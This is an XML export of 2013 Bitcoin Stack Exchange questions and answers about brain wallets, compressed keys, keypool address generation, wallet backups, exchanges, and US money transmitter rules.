  <row Id="13270" PostTypeId="1" CreationDate="2013-09-12T13:16:36.043" Score="5" ViewCount="1903" Body="&lt;ul&gt;&#xA;&lt;li&gt;When creating a brain wallet, should I choose the compressed or uncompressed version? Why?&lt;/li&gt;&#xA;&lt;li&gt;What happens if I choose the uncompressed version (which is what the official client uses, right?), and someone sends coins to the compressed address? Will I see the coins? Would I be able to spend them if I saw them sitting in the other address?&lt;/li&gt;&#xA;&lt;li&gt;Will I have to remember which option I chose, or the pass phrase is enough? Will other options keep popping up? (eg: super compressed)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5068" LastActivityDate="2013-11-17T14:59:25.743" Title="Compressed or uncompressed for brainwallet?" Tags="|private-key|brain-wallet|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13271" PostTypeId="1" AcceptedAnswerId="13380" CreationDate="2013-09-12T14:02:01.040" Score="4" ViewCount="1936" Body="&lt;p&gt;In bitcoind I can generate addresses one by one. Is there a functionality that helps me generate 250 receiving-addresses for my wallet.dat at once?&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2013-09-18T13:06:39.853" Title="Pregenerate multiple receiving addresses" Tags="|wallet|client|bitcoind|" AnswerCount="2" CommentCount="4" ClosedDate="2013-10-11T18:42:50.400" ContentLicense="CC BY-SA 3.0" />
  <row Id="13272" PostTypeId="1" CreationDate="2013-09-12T14:46:48.020" Score="1" ViewCount="470" Body="&lt;p&gt;I'm just a novelty miner, looking to be cool and do my part to decentralize. Not looking for a return on my investment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if I'm going to spend $100 or so I'd like to calculate how my options will fare. Any sites that have no affiliation to hardware, just calculate returns on current difficulty &amp;amp; a hash rate that I specify?&lt;/p&gt;&#xA;" OwnerUserId="6598" LastEditorUserId="5406" LastEditDate="2016-04-28T12:55:40.187" LastActivityDate="2016-04-28T12:55:40.187" Title="Is there a site (or formula) that easily calculates returns using difficulty / hash rate?" Tags="|mining-profitability|hashpower|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-09T10:22:35.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="13274" PostTypeId="2" ParentId="13233" CreationDate="2013-09-12T17:40:59.050" Score="5" Body="&lt;p&gt;You could have the customer send a message signed with the Bitcoin address used. This can be done with most Bitcoin clients or with most of the online wallets. This proves they have access to the private key for that address and are the owner. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where they send the email from is not important as long as you can verify the message. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/features&quot;&gt;https://blockchain.info/wallet/features&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sign Message - Sign a message to prove you own a bitcoin adddress.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinarmory.com/start-page/what-is-armory/features/&quot;&gt;https://bitcoinarmory.com/start-page/what-is-armory/features/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Message signing with your Bitcoin addresses:   sign messages using the private keys of your bitcoin addresses, that can then be verified by someone else.  For instance, you pay someone 200 BTC for merchandise to be shipped to you.  You send the seller your postal address, but someone intercepts the message and replaces it with their own address!  This is avoidable by using signed messages:  the seller sees the money came from address X, so you send them a signature block, which tells them your postal address, and sign it with address X.  If someone tries to change the address, the signature will become invalid!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6734" LastActivityDate="2013-09-12T17:40:59.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13275" PostTypeId="2" ParentId="13270" CreationDate="2013-09-12T17:58:44.800" Score="0" Body="&lt;p&gt;It makes no difference which you choose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more info please see the answer to this question: &#xA;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3059/what-is-a-compressed-bitcoin-key/3062#3062&quot;&gt;What is a compressed Bitcoin key?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A compressed key is just a way of storing a public key in fewer bytes (33 instead of 65). There are no compatibility or security issues because they are precisely the same keys, just stored in a different way. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6734" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-09-12T17:58:44.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13276" PostTypeId="2" ParentId="13270" CreationDate="2013-09-12T20:27:58.303" Score="2" Body="&lt;p&gt;Brainwallet.org doesn't make this terribly clear: choosing a compressed versus an uncompressed address &lt;strong&gt;is not choosing between two different versions&lt;/strong&gt; of the same address, but rather &lt;strong&gt;two different addresses&lt;/strong&gt; based on the same secret exponent. Sending bitcoin to one address &lt;strong&gt;will not be accessible&lt;/strong&gt; by the other, as they are technically independent. With that in mind, we can address your second point first:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Will I see the coins?&lt;/em&gt; Of course! You can see everything that happens&#xA;on the block chain.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Would I be able to spend them if I saw them sitting in the other address?&lt;/em&gt; No. Unless you have access to the private key for the other address, you cannot spend the coins.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As for the first point, it really depends on whether or not your client supports signing transactions with compressed private keys. Your client will always be able to receive coins at the public address, but it may not be able to process a compressed private key and thus not be able to spend with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some info on popular clients that might be helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;BlockChain.info&lt;/em&gt; --&#xA;Currently, if you try to import a compressed private key into blockchain.info's web app, you will get a warning that they key will not be usable to create transactions on the mobile app. So, if you need to make payments with their mobile app, don't use compressed private keys. Although their web app, should work fine, even if accessed from mobile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bitcoin (Android - Andreas Schildbach)&lt;/em&gt;--&#xA;Andreas Schildbach Android bitcoin client, on the other hand uses compressed private keys. Although they are normally hidden from user, there is a (somewhat convoluted) way to import and export private keys into the app and out of the app. So, if you are making payments with this app, you can use compressed private keys. (Note: I'm actually unclear as to whether or not you can import uncompressed keys into this client, so compressed keys might actually be mandatory here.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Armory&lt;/em&gt; --&#xA;I don't believe that the Armory supports importing of private keys at this time. So, if you're planning on using this, you must use uncompressed keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your third point, I would suggest remembering your chosen option just in case the clients you wish to use doesn't support it compressed keys. That way, you have a good idea of what's going on in case making a transaction fails.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6737" LastEditDate="2013-09-13T11:22:59.677" LastActivityDate="2013-09-13T11:22:59.677" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13277" PostTypeId="1" AcceptedAnswerId="13286" CreationDate="2013-09-12T23:05:52.317" Score="6" ViewCount="6383" Body="&lt;p&gt;How frequently should one update a wallet.dat file backup?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-09-14T22:09:44.687" Title="How frequently should one update wallet backup?" Tags="|backup|wallet.dat|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13278" PostTypeId="2" ParentId="13272" CreationDate="2013-09-12T23:26:26.913" Score="1" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;coinwarz.com&lt;/a&gt; - it list's alot of crypto currencies, difficulty and includes a calculator to measure ROI when considering mining. &lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-09-12T23:26:26.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13279" PostTypeId="2" ParentId="13264" CreationDate="2013-09-12T23:29:18.207" Score="0" Body="&lt;p&gt;I'm from the UK and I've had no problems doing the following;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bank transfer to MtGox&lt;/li&gt;&#xA;&lt;li&gt;wait 3-4 days until money is credited&lt;/li&gt;&#xA;&lt;li&gt;Buy bitcoins &lt;/li&gt;&#xA;&lt;li&gt;Withdraw&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;MtGox are a reputable exchange and are quick to process GBP deposits (At least for me anyway). &lt;/p&gt;&#xA;" OwnerUserId="4725" LastActivityDate="2013-09-12T23:29:18.207" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13280" PostTypeId="2" ParentId="13264" CreationDate="2013-09-13T01:02:57.113" Score="3" Body="&lt;p&gt;The &lt;strong&gt;&lt;em&gt;safest&lt;/em&gt;&lt;/strong&gt; way (though perhaps not convenient) is to create a two-party legal contract with signed witnesses. This way if either party reneges you have legal recourse in the civil courts. The contractual arrangement would be somewhat similar to when a &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13195/6679&quot;&gt;freelancer charges&lt;/a&gt; bitcoins for their goods or services.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Escrow doesn't provide the same level of protection, as your legal contract with the escrow company (if any) usually includes a clause that final binding arbitration is made by the escrow company - not you. However, a reputable escrow service or currency exchange will typically suffice for people with moderate risk appetites.&lt;/p&gt;&#xA;" OwnerUserId="6679" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2013-09-13T01:02:57.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13281" PostTypeId="2" ParentId="13059" CreationDate="2013-09-13T01:10:49.227" Score="33" Body="&lt;p&gt;&lt;strong&gt;Addresses are public-key hashes of an asymmetric key pair&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;An &lt;em&gt;address&lt;/em&gt; represents a &lt;a href=&quot;https://en.bitcoin.it/wiki/Technical_background_of_version_1_Bitcoin_addresses&quot; rel=&quot;noreferrer&quot;&gt;hash&lt;/a&gt; of a public key of an &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4675/what-is-a-private-key-and-a-public-key&quot;&gt;asymmetric key pair&lt;/a&gt;.¹ The owner of the key pair can use the private key to sign transactions or messages (for example in order to prove ownership). Only by using the correct private key a valid signature may be created, which then anyone can verify as valid by using the associated address (which, again, represents the public key).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Wallets are an abstract concept, a &amp;quot;keyring&amp;quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A &lt;em&gt;wallet&lt;/em&gt; is an abstract construct, which contains the set of public and private key pairs randomly generated for the user. In a deterministic wallet, the keys are derived from a passphrase (a specific seed, masterkey or password) instead of a random seed. Essentially, it corresponds to a &lt;a href=&quot;http://en.wikipedia.org/wiki/Keyring_%28cryptography%29&quot; rel=&quot;noreferrer&quot;&gt;keyring&lt;/a&gt; in the cryptographic sense.&lt;/p&gt;&#xA;&lt;p&gt;The Bitcoin client software abstracts the wallet for the user such that it checks each of the addresses contained in the wallet, whether there are any balances (&lt;em&gt;transaction outputs&lt;/em&gt;) associated in the blockchain with them. It sums the funds up and presents them as a single total balance. Underlying, however, these balances are stored publicly in the blockchain (that's right, the wallet doesn't contain your coins, it just allows you to spend them). They are split up to numerous addresses and transaction outputs:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Address #15521² has&lt;/li&gt;&#xA;&lt;li&gt;3 BTC in transaction output 1&lt;/li&gt;&#xA;&lt;li&gt;Address #23414 has&lt;/li&gt;&#xA;&lt;li&gt;1.2 BTC in transaction output 1&lt;/li&gt;&#xA;&lt;li&gt;0.7 BTC in transaction output 2&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Everyone can see them, however, usually can't determine the identity of the owner.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;¹ To be more accurate an address is a Base58-encoded hash of the public key.&lt;/p&gt;&#xA;&lt;p&gt;² &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;noreferrer&quot;&gt;Of course, &lt;em&gt;real addresses&lt;/em&gt; actually are alphanumeric strings with up to 34 characters.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="109955" LastEditDate="2020-10-10T00:27:13.670" LastActivityDate="2020-10-10T00:27:13.670" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="13282" PostTypeId="2" ParentId="13266" CreationDate="2013-09-13T01:15:10.990" Score="-1" Body="&lt;p&gt;No. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is because the receiver does not play any role in the transaction. They don't even have to know about it. The transaction actually takes place between the sender and the bitcoin network, and the sender needs to have a private key which (hopefully) is secret.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-09-13T01:15:10.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13284" PostTypeId="2" ParentId="690" CreationDate="2013-09-13T05:36:52.917" Score="0" Body="&lt;p&gt;From &lt;a href=&quot;https://www.casascius.com&quot; rel=&quot;nofollow&quot;&gt;https://www.casascius.com&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...you can enter (or &quot;import&quot;) your coin's private key code directly into Bitcoin clients such as &lt;a href=&quot;http://bitcoinarmory.com/&quot; rel=&quot;nofollow&quot;&gt;Armory&lt;/a&gt;, &lt;a href=&quot;https://blockchain.info/&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info&lt;/a&gt;, or directly into &lt;a href=&quot;http://www.mtgox.com/&quot; rel=&quot;nofollow&quot;&gt;Mt. Gox&lt;/a&gt; as a deposit method.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1045" LastActivityDate="2013-09-13T05:36:52.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13285" PostTypeId="2" ParentId="13271" CreationDate="2013-09-13T06:00:55.053" Score="0" Body="&lt;p&gt;The keypool tip did the trick, you only have to filter out the doublettes after generating more numbers. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -keypool=10000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;generate 1 new address in the client (this will take now some time) -&gt; 10101 addresses can be exportet with pywallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;restart bitcoin-qt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-qt -keypool=20000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;generate 1 new address in the client -&gt; 20102 addresses can be exportet with pywallet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on.&lt;/p&gt;&#xA;" OwnerUserId="6730" LastEditorUserId="6730" LastEditDate="2013-09-13T06:45:30.120" LastActivityDate="2013-09-13T06:45:30.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13286" PostTypeId="2" ParentId="13277" CreationDate="2013-09-13T07:14:18.153" Score="6" Body="&lt;p&gt;The Bitcoin-Qt/bitcoind client's keypool has by default 100 Bitcoin addresses.  Each spend transaction that has change chews up one of those addresses.  Additionally each click on New Address will consume an address from the keypool as well.  So you should be able to get by without a new backup until after 100 spend transactions plus any requests for a New Address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you do 10 spend transactions a month, and receive funds 5 times a month  you would be fine with a backup every 4 months maybe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A backup plan should consider that backups fail, so multiple backups don't hurt anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The size of the keypool can be configured so that frequent use can occur without having to make backups as frequently.  For instance, weekly backups would be fine for a wallet that does 100 transactions a week but the keypool has size of 250.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the wallet is encrypted, no keys are added to the pool until an action that requires the passphrase to be entered. Backup strategy should take this into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, if you import a private key, that key will not exist in any previously made backups.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-09-14T22:09:44.687" LastActivityDate="2013-09-14T22:09:44.687" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13287" PostTypeId="2" ParentId="13277" CreationDate="2013-09-13T07:17:07.840" Score="0" Body="&lt;p&gt;Technically a single backup is sufficient.  The bitcoin network has a record of all your coins and transactions.  The wallet simply stores your private key and wallet address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you generate additional bitcoin addresses or import additional private keys then you may need to create a new backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With that said you can never have too many backups and I always recommend backing up any file before making changes especially when dealing with money.&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-09-13T07:17:07.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13288" PostTypeId="2" ParentId="13264" CreationDate="2013-09-13T10:21:19.070" Score="3" Body="&lt;p&gt;I've used localbitcoins.com quite a few times with UK bank transfers and haven't been disappointed yet. Transactions have been generally very fast and prices are getting better as the arbitrage opportunities are being soaked up. You should of course follow their safety guidance and if you are nervous then stick to users with high numbers of previous transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have had funds stuck in exchanges that had their bank accounts closed in the past though. So as the regulatory landscape changes then these kind of companies are carrying some risk, especially in the US where the practice has been freeze assets first, talk later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally if you are only buying then bitcoin are hardly ever 'seized' and it's only if you have fiat funds in someone elses account that you are likely to have a problem.&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="136" LastEditDate="2013-09-13T10:35:13.937" LastActivityDate="2013-09-13T10:35:13.937" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13289" PostTypeId="2" ParentId="3822" CreationDate="2013-09-13T10:32:31.313" Score="5" Body="&lt;p&gt;On Windows, the whole %appdata%\Bitcoin directory can be replaced with a symbolic directory link:&#xA;Make sure the bitcoin client is not running.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the %appdata%\Bitcoin directory to its target location (e.g. d:\bitcoinData)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run the command prompt as root and issue the command&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mklink /d &quot;c:\users\&amp;lt;your_user_name_here&amp;gt;\appdata\roaming\bitcoin&quot; &quot;d:\bitcoinData&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OR as answered by @lan Boyd&lt;/p&gt;&#xA;" OwnerUserId="5853" LastActivityDate="2013-09-13T10:32:31.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13290" PostTypeId="1" CreationDate="2013-09-13T11:00:20.720" Score="1" ViewCount="39" Body="&lt;p&gt;I've configured the -keypool=n parameter to create a lot of keys at once.&#xA;During the generation, the hdd has a lot of IO, why?&lt;/p&gt;&#xA;" OwnerUserId="6730" LastActivityDate="2013-09-13T11:00:20.720" Title="Huge hdd load when creating keys" Tags="|bitcoin-core|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13292" PostTypeId="1" CreationDate="2013-09-13T14:46:56.970" Score="0" ViewCount="444" Body="&lt;p&gt;I'm wondering what exchanges in that operate in native euro, who most likely support sepa transactions have web apis? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-24.com was great until they had banking problems. now who is left? Is BTCe the only one?&lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2014-11-16T20:33:00.303" Title="What EURO exchanges have web APIs currently?" Tags="|exchanges|trading|api|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13293" PostTypeId="2" ParentId="13264" CreationDate="2013-09-13T15:21:36.663" Score="2" Body="&lt;p&gt;I have purchased from both &lt;a href=&quot;http://quickbitcoin.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://quickbitcoin.co.uk&lt;/a&gt; and &lt;a href=&quot;http://bitbargain.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://bitbargain.co.uk&lt;/a&gt; and have had good experiences with both.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had to recommend one, I would go with &lt;a href=&quot;http://quickbitcoin.co.uk&quot; rel=&quot;nofollow&quot;&gt;http://quickbitcoin.co.uk&lt;/a&gt; as you are dealing with a company rather than a random individual (which is the case on bitbargain).  I have found that quickbitcoin is &lt;em&gt;very&lt;/em&gt; fast, and usually takes 10-15 minutes from sending you money to receiving your coins.&lt;/p&gt;&#xA;" OwnerUserId="6423" LastActivityDate="2013-09-13T15:21:36.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13295" PostTypeId="1" CreationDate="2013-09-13T17:24:47.823" Score="0" ViewCount="1343" Body="&lt;p&gt;I sent bitcoins from localbtc wallet to a unsynced program, it says 0 in the balance of the program and I really want them back.&lt;/p&gt;&#xA;" OwnerUserId="6742" LastEditorUserId="5406" LastEditDate="2013-09-15T10:31:03.910" LastActivityDate="2014-04-13T19:26:59.600" Title="I sent my bitcoins from LocalBTC to a unsynced bitcoin wallet program, the bitcoins are not showing up. How do i get them back?" Tags="|bitcoin-core|synchronization|private-key-export|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13296" PostTypeId="2" ParentId="13295" CreationDate="2013-09-13T18:48:09.823" Score="0" Body="&lt;p&gt;The easiest way is to open your wallet program and export the private key for the address(es) to which you sent the money. You would then import these private keys into a wallet program that doesn't require downloading the blockchain to work. Your best bets are BlockChain.info's web app and Electrum. Your balances should show up properly and immediately in those wallets and you'll be able to spend them freely.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-09-13T18:48:09.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13297" PostTypeId="1" AcceptedAnswerId="83623" CreationDate="2013-09-13T19:04:32.080" Score="5" ViewCount="1082" Body="&lt;p&gt;Bitcoin uses &lt;strong&gt;secp256k1&lt;/strong&gt; as the specification for it's address system (&lt;a href=&quot;https://en.bitcoin.it/wiki/Secp256k1&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Secp256k1&lt;/a&gt;). What are the advantages (and disadvantages) of using this over other specifications such as &lt;strong&gt;secp256r1&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: I found this page (&lt;a href=&quot;https://bitcointalk.org/index.php?topic=151120.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=151120.0&lt;/a&gt;) which speculates on some possible differences, but I'm hoping to find something concrete.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="47827" LastEditDate="2022-07-12T21:02:25.190" LastActivityDate="2022-07-12T21:02:25.190" Title="What are the advantages of using Secp256k1?" Tags="|cryptography|secp256k1|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13298" PostTypeId="2" ParentId="13295" CreationDate="2013-09-13T20:01:53.327" Score="2" Body="&lt;p&gt;You have two options: Either wait until your wallet has sychronized with the network – your bitcoin will show up when the block was processed that validated the transaction with which it was sent to you. The other option is that you can &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4203/how-can-i-export-the-private-key-for-an-address-from-the-satoshi-client?lq=1&quot;&gt;export&lt;/a&gt; the corresponding private keys to a client that doesn't store the blockchain and access it that way.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-09-13T20:01:53.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13299" PostTypeId="2" ParentId="8551" CreationDate="2013-09-13T22:19:36.223" Score="1" Body="&lt;p&gt;The short answer is, it is complicated.  Below are some resources that may helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a disclaimer none of the below statements constitute legal advice and they should not be relied on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently co-authored an article that contains some background information to your question. William B. Fleming and Joseph Evans, Bitcoiners in the Courtroom Part I: Government Oversight, Ford. Corp. L. Forum (Aug. 20, 2013).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://fordhamcorporatecenter.org/2013/08/20/bitcoiners-in-the-court-room-part-i-government-oversight/&quot; rel=&quot;nofollow&quot;&gt;TXT&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.gagespencer.com/firm-news/Bitcoiners-in-the-Courtroom-Part-I.pdf&quot; rel=&quot;nofollow&quot;&gt;PDF&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The relevant portion is below.  Though, admittedly, it may not answer your question in full.  An argument can be made that the Guidance may have left room for a distinction between a miner who uses his Bitcoin for goods and services, and a miner who sells his Bitcoin for fiat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Notably, according to the Guidance, “users” are not subject to these registration requirements.   “A ‘user’ is a person that obtains virtual currency to purchase goods or services.”  &lt;strong&gt;Miners, too, are not subject to these registration requirements since “a person that creates units of this convertible virtual currency and uses it to purchase real or virtual goods and services is a user of the convertible virtual currency and not subject to regulation as a money transmitter.”&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most interesting part of your question really raises the issue of the scope of the definition for a &quot;money transmitter.&quot;  Specifically: &quot;are miners who sell their Bitcoin for fiat money transmitters?&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 5 of the Guidance offers an explanation that you may find helpful:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;A person that creates units of this convertible virtual currency and &lt;strong&gt;uses it to purchase real or virtual goods and services is a user&lt;/strong&gt; of the convertible virtual currency and not subject to regulation as a money transmitter.  By contrast, &lt;strong&gt;a person that creates units of convertible virtual currency and sells those units to another person for real currency or its equivalent&lt;/strong&gt; is engaged in transmission to another location and is a money transmitter.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another helpful piece of information is located in footnote 10: &quot;whether a person is a money transmitter is a matter of facts and circumstances.  The regulations identify six circumstances under which a person is not a money transmitter, despite accepting and transmitting currency, funds, or value that substitutes for currency.&quot;  31 CFR § 1010.100(ff)(5)(ii)(A)-(F).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the relevant portion of that statute:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(5) Money transmitter —(i) In general. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A) A person that provides money transmission services. The term “money transmission services” means the acceptance of currency, funds, or other value that substitutes for currency from one person and the transmission of currency, funds, or other value that substitutes for currency to another location or person by any means. “Any means” includes, but is not limited to, through a financial agency or institution; a Federal Reserve Bank or other facility of one or more Federal Reserve Banks, the Board of Governors of the Federal Reserve System, or both; an electronic funds transfer network; or an informal value transfer system; or&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(B) Any other person engaged in the transfer of funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) Facts and circumstances; Limitations. Whether a person is a money transmitter as described in this section is a matter of facts and circumstances. The term “money transmitter” shall not include a person that only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(A) Provides the delivery, communication, or network access services used by a money transmitter to support money transmission services;&#xA;(B) Acts as a payment processor to facilitate the purchase of, or payment of a bill for, a good or service through a clearance and settlement system by agreement with the creditor or seller;&#xA;(C) Operates a clearance and settlement system or otherwise acts as an intermediary solely between BSA regulated institutions. This includes but is not limited to the Fedwire system, electronic funds transfer networks, certain registered clearing agencies regulated by the Securities and Exchange Commission (“SEC”), and derivatives clearing organizations, or other clearinghouse arrangements established by a financial agency or institution;&#xA;(D) Physically transports currency, other monetary instruments, other commercial paper, or other value that substitutes for currency as a person primarily engaged in such business, such as an armored car, from one person to the same person at another location or to an account belonging to the same person at a financial institution, provided that the person engaged in physical transportation has no more than a custodial interest in the currency, other monetary instruments, other commercial paper, or other value at any point during the transportation;&#xA;(E) Provides prepaid access; or&#xA;(F) Accepts and transmits funds only integral to the sale of goods or the provision of services, other than money transmission services, by the person who is accepting and transmitting the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These definitions can be found here: &lt;a href=&quot;http://www.ecfr.gov/cgi-bin/text-idx?c=ecfr&amp;amp;SID=9ac954457eb0e2bef9a8ce59e69393c5&amp;amp;rgn=div8&amp;amp;view=text&amp;amp;node=31:3.1.6.1.2.1.3.1&amp;amp;idno=31&quot; rel=&quot;nofollow&quot;&gt;31 CFR § 10.10.100&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope that you find these resources helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joe&lt;/p&gt;&#xA;" OwnerUserId="6556" LastActivityDate="2013-09-13T22:19:36.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
